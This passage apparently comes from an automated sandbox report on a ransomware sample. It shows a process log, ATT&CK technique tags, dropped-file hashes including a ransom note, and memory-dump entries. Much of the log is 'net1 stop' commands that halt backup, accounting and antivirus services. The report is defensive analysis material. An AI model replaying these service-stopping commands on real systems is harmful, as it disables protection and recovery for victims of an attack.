PID:4212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
1⤵
PID:4372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
1⤵
PID:4876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
1⤵
PID:904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:3240

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:3412

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
1⤵
PID:4976

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
1⤵
PID:3764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
1⤵
PID:1016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:3404

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:3756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:3648

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
1⤵
PID:4532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
1⤵
PID:3652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:3252

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:3840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop veeam /y
1⤵
PID:4112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
1⤵
PID:1828

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gtnwkt1e.u4a.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tncbvdix.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\AppData\Local\Temp\tncbvdix.exe

Filesize
219KB

MD5
b1dfb4f9eb3e598d1892a3bd3a92f079

SHA1
0fc135b131d0bb47c9a0aaf02490701303b76d3b

SHA256
ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb

SHA512
98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
4fc04851c6457f69eff20a65dd3a8a61

SHA1
626771ad213f49e869bab85c14e14ed4d24d2fe7

SHA256
649aebb9840f845ac3a9b90b8d7802aa9acd9eb3aab436c247ebf9625342ae69

SHA512
06e41ca76f1ef69f8f3b0cc565bd63e099d7fb083cf2585555d7af9e335fa0f13ef2c3350a7fc0a5dc4894c16566d2adfa07e966144eb9ee5f49ff5689a7aa91

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
4fc04851c6457f69eff20a65dd3a8a61

SHA1
626771ad213f49e869bab85c14e14ed4d24d2fe7

SHA256
649aebb9840f845ac3a9b90b8d7802aa9acd9eb3aab436c247ebf9625342ae69

SHA512
06e41ca76f1ef69f8f3b0cc565bd63e099d7fb083cf2585555d7af9e335fa0f13ef2c3350a7fc0a5dc4894c16566d2adfa07e966144eb9ee5f49ff5689a7aa91

Download Submit
memory/1480-133-0x0000000000970000-0x000000000098C000-memory.dmp

Filesize
112KB

Download
memory/1480-134-0x00000000053A0000-0x00000000053B0000-memory.dmp

Filesize
64KB

Download
memory/2636-184-0x000000006F7F0000-0x000000006F83C000-memory.dmp

Filesize
304KB

Download
memory/2636-201-0x0000000007BE0000-0x000000000825A000-memory.dmp

Filesize
6.5MB

Download
memory/2636-153-0x0000000006200000-0x000000000621E000-memory.dmp

Filesize
120KB

Download
memory/2636-138-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/2636-183-0x00000000071A0000-0x00000000071D2000-memory.dmp

Filesize
200KB

Download
memory/2636-150-0x00000000028F0000-0x0000000002900000-memory.dmp

Filesize
64KB

Download
memory/2636-194-0x00000000067A0000-0x00000000067BE000-memory.dmp

Filesize
120KB

Download
memory/2636-196-0x00000000028F0000-0x0000000002900000-memory.dmp

Filesize
64KB

Download
memory/2636-198-0x000000007FCE0000-0x000000007FCF0000-memory.dmp

Filesize
64KB

Download
memory/2636-139-0x0000000005BC0000-0x0000000005C26000-memory.dmp

Filesize
408KB

Download
memory/2636-202-0x00000000072F0000-0x000000000730A000-memory.dmp

Filesize
104KB

Download
memory/2636-203-0x0000000007570000-0x000000000757A000-memory.dmp

Filesize
40KB

Download
memory/2636-204-0x0000000007780000-0x0000000007816000-memory.dmp

Filesize
600KB

Download
memory/2636-149-0x00000000028F0000-0x0000000002900000-memory.dmp

Filesize
64KB

Download
memory/2636-137-0x0000000005330000-0x0000000005352000-memory.dmp

Filesize
136KB

Download
memory/2636-210-0x0000000007730000-0x000000000773E000-memory.dmp

Filesize
56KB

Download
memory/2636-214-0x0000000007840000-0x000000000785A000-memory.dmp

Filesize
104KB

Download
memory/2636-217-0x0000000007820000-0x0000000007828000-memory.dmp

Filesize
32KB

Download
memory/2636-136-0x0000000005380000-0x00000000059A8000-memory.dmp

Filesize
6.2MB

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memory/2636-135-0x0000000002900000-0x0000000002936000-memory.dmp

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